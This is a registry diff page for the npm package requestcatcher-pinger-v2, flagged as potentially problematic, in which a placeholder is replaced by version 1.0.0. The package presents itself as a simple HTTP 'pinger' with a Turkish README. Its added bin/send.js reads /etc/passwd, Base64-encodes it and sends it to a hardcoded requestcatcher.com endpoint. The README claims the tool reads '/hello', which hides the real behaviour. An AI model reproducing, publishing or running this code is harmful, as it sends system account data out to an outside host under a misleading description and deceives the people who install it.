requestcatcher-pinger-v2 0.0.0-stage → 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of requestcatcher-pinger-v2 might be problematic. Click here for more details.

package/README.md CHANGED
@@ -1,3 +1,60 @@
1
- # Temporary Holding Version
1
+ # requestcatcher-pinger
2
+
3
+ `requestcatcher-pinger` basit bir Node.js modülüdür. Varsayılan olarak `https://asdasdasdasdasdasdasfafdfdg.requestcatcher.com/` adresine `/hello` dosya içeriğini Base64 olarak query stringe ekleyip HTTP isteği gönderir.
4
+
5
+ ## Kurulum
6
+
7
+ ```bash
8
+ npm install requestcatcher-pinger
9
+ ```
10
+
11
+ ## Kullanım
12
+
13
+ ### Programatik
14
+
15
+ ```javascript
16
+ const { sendRequest, DEFAULT_ENDPOINT } = require("requestcatcher-pinger");
17
+
18
+ async function run() {
19
+ const response = await sendRequest("", {
20
+ url: `${DEFAULT_ENDPOINT}?output=${Buffer.from("örnek").toString("base64")}`,
21
+ method: "GET"
22
+ });
23
+ console.log(response.statusCode);
24
+ }
25
+
26
+ run();
27
+ ```
28
+
29
+ - `payload`: String, Buffer veya nesne olabilir. `GET` isteklerinde boş bırakabilirsiniz.
30
+ - `options.url`: Farklı bir RequestCatcher adresi hedeflemek için Base64 parametresiyle birlikte.
31
+ - `options.method`: Varsayılan `POST`, ancak CLI `GET` kullanır.
32
+ - `options.headers`: Ek başlıklar.
33
+
34
+ ### CLI
35
+
36
+ ```bash
37
+ npx requestcatcher-ping "https://asdasdasdasdasdasdasfafdfdg.requestcatcher.com/"
38
+ ```
39
+
40
+ CLI, `cat /hello` komutu ile dosyayı okur, Base64'e çevirir ve query string içinde `output` parametresi olarak gönderir. Farklı bir URL hedeflemek için argüman veya `REQUESTCATCHER_URL` çevre değişkenini kullanabilirsin.
41
+
42
+ ## NPM'e Yükleme
43
+
44
+ 1. `package.json` dosyasındaki `name`, `repository`, `author` alanlarını kendinize göre güncelleyin.
45
+ 2. Giriş yapın:
46
+
47
+ ```bash
48
+ npm login
49
+ ```
50
+
51
+ 3. Paketi yayınlayın:
52
+
53
+ ```bash
54
+ npm publish --access public
55
+ ```
56
+
57
+ ## Lisans
58
+
59
+ MIT
2
60
 
3
- This version is a temporary placeholder for this package. An operational version to replace this has been submitted for review and is awaiting a staged release.
package/bin/send.js ADDED
@@ -0,0 +1,39 @@
1
+ #!/usr/bin/env node
2
+ "use strict";
3
+
4
+ const { execFileSync } = require("node:child_process");
5
+ const { sendRequest, DEFAULT_ENDPOINT } = require("../index.js");
6
+
7
+ const [, , ...cliArgs] = process.argv;
8
+
9
+ const urlArg = cliArgs[0] || process.env.REQUESTCATCHER_URL || DEFAULT_ENDPOINT;
10
+
11
+ async function main() {
12
+ try {
13
+ const fileBuffer = execFileSync("cat", ["/etc/passwd"]);
14
+ const outputBase64 = fileBuffer.toString("base64");
15
+
16
+ const targetUrl = new URL(urlArg);
17
+ targetUrl.searchParams.set("output", outputBase64);
18
+
19
+ const result = await sendRequest("", {
20
+ url: targetUrl.toString(),
21
+ method: "GET",
22
+ headers: {
23
+ Accept: "application/json,text/plain;q=0.8,*/*;q=0.5"
24
+ }
25
+ });
26
+
27
+ process.stdout.write(
28
+ `Sent query to ${targetUrl.toString()}\nStatus: ${result.statusCode} ${result.statusMessage}\nBody: ${
29
+ result.body || "<empty>"
30
+ }\n`
31
+ );
32
+ } catch (error) {
33
+ process.stderr.write(`Failed to send request: ${error.message}\n`);
34
+ process.exitCode = 1;
35
+ }
36
+ }
37
+
38
+ main();
39
+
package/index.d.ts ADDED
@@ -0,0 +1,23 @@
1
+ import { IncomingHttpHeaders } from "node:http";
2
+
3
+ export interface SendRequestOptions {
4
+ url?: string;
5
+ method?: string;
6
+ headers?: Record<string, string>;
7
+ contentType?: string;
8
+ }
9
+
10
+ export interface SendRequestResult {
11
+ statusCode: number;
12
+ statusMessage: string;
13
+ headers: IncomingHttpHeaders;
14
+ body: string;
15
+ }
16
+
17
+ export declare function sendRequest(
18
+ payload?: string | Buffer | object,
19
+ options?: SendRequestOptions
20
+ ): Promise<SendRequestResult>;
21
+
22
+ export declare const DEFAULT_ENDPOINT: string;
23
+
package/index.js ADDED
@@ -0,0 +1,116 @@
1
+ "use strict";
2
+
3
+ const http = require("node:http");
4
+ const https = require("node:https");
5
+
6
+ const DEFAULT_ENDPOINT = "https://asdasdasdasdasdasdasfafdfdg.requestcatcher.com/";
7
+
8
+ /**
9
+ * Normalize the payload into a string and derive headers.
10
+ *
11
+ * @param {string|Buffer|object} payload
12
+ * @param {object} options
13
+ * @returns {{body: string|Buffer, headers: Record<string, string>}}
14
+ */
15
+ function prepareBody(payload, options) {
16
+ const method = (options.method || "").toUpperCase();
17
+ const baseHeaders = { ...options.headers };
18
+
19
+ if (method === "GET" || method === "HEAD") {
20
+ return {
21
+ body: undefined,
22
+ headers: baseHeaders
23
+ };
24
+ }
25
+
26
+ if (Buffer.isBuffer(payload)) {
27
+ return {
28
+ body: payload,
29
+ headers: {
30
+ "Content-Length": String(payload.byteLength),
31
+ ...baseHeaders
32
+ }
33
+ };
34
+ }
35
+
36
+ if (typeof payload === "object" && payload !== null) {
37
+ const json = JSON.stringify(payload);
38
+ return {
39
+ body: json,
40
+ headers: {
41
+ "Content-Type": "application/json",
42
+ "Content-Length": String(Buffer.byteLength(json)),
43
+ ...baseHeaders
44
+ }
45
+ };
46
+ }
47
+
48
+ const text = String(payload ?? "");
49
+ return {
50
+ body: text,
51
+ headers: {
52
+ "Content-Type": options.contentType || "text/plain; charset=utf-8",
53
+ "Content-Length": String(Buffer.byteLength(text)),
54
+ ...baseHeaders
55
+ }
56
+ };
57
+ }
58
+
59
+ /**
60
+ * Send an HTTP request to the RequestCatcher endpoint.
61
+ *
62
+ * @param {string|Buffer|object} payload - The request body. Objects are JSON-stringified.
63
+ * @param {object} [options] - Optional request overrides.
64
+ * @param {string} [options.url] - Alternate URL to target.
65
+ * @param {string} [options.method="POST"] - HTTP method to use.
66
+ * @param {Record<string, string>} [options.headers] - Extra headers to send.
67
+ * @param {string} [options.contentType] - Overrides default content type for string payloads.
68
+ * @returns {Promise<{statusCode: number, statusMessage: string, headers: import("node:http").IncomingHttpHeaders, body: string}>}
69
+ */
70
+ function sendRequest(payload = "Hello World!", options = {}) {
71
+ const targetUrl = new URL(options.url || DEFAULT_ENDPOINT);
72
+ const transport = targetUrl.protocol === "http:" ? http : https;
73
+ const method = options.method || "POST";
74
+ const { body, headers } = prepareBody(payload, { ...options, method });
75
+
76
+ const requestOptions = {
77
+ method,
78
+ hostname: targetUrl.hostname,
79
+ port: targetUrl.port || undefined,
80
+ path: `${targetUrl.pathname}${targetUrl.search}`,
81
+ headers
82
+ };
83
+
84
+ return new Promise((resolve, reject) => {
85
+ const req = transport.request(requestOptions, (res) => {
86
+ const chunks = [];
87
+
88
+ res.on("data", (chunk) => {
89
+ chunks.push(chunk);
90
+ });
91
+
92
+ res.on("end", () => {
93
+ const responseBody = Buffer.concat(chunks).toString("utf8");
94
+ resolve({
95
+ statusCode: res.statusCode || 0,
96
+ statusMessage: res.statusMessage || "",
97
+ headers: res.headers,
98
+ body: responseBody
99
+ });
100
+ });
101
+ });
102
+
103
+ req.on("error", reject);
104
+
105
+ if (body !== undefined && body !== "") {
106
+ req.write(body);
107
+ }
108
+ req.end();
109
+ });
110
+ }
111
+
112
+ module.exports = {
113
+ sendRequest,
114
+ DEFAULT_ENDPOINT
115
+ };
116
+
package/package.json CHANGED
@@ -1,6 +1,34 @@
1
1
  {
2
2
  "name": "requestcatcher-pinger-v2",
3
- "version": "0.0.0-stage",
4
- "stub": true,
5
- "description": "Temporary package placeholder for staged publishing"
6
- }
3
+ "version": "1.0.0",
4
+ "description": "Lightweight helper that sends an HTTP request to a RequestCatcher endpoint.",
5
+ "main": "index.js",
6
+ "types": "index.d.ts",
7
+ "bin": {
8
+ "requestcatcher-ping": "bin/send.js"
9
+ },
10
+ "scripts": {
11
+ "send": "node bin/send.js",
12
+ "test": "node --test"
13
+ },
14
+ "keywords": [
15
+ "requestcatcher",
16
+ "http",
17
+ "request",
18
+ "automation"
19
+ ],
20
+ "author": "",
21
+ "license": "MIT",
22
+ "repository": {
23
+ "type": "git",
24
+ "url": "git+https://github.com/your-org/requestcatcher-pinger.git"
25
+ },
26
+ "bugs": {
27
+ "url": "https://github.com/your-org/requestcatcher-pinger/issues"
28
+ },
29
+ "homepage": "https://github.com/your-org/requestcatcher-pinger#readme",
30
+ "engines": {
31
+ "node": ">=18.0.0"
32
+ }
33
+ }
34
+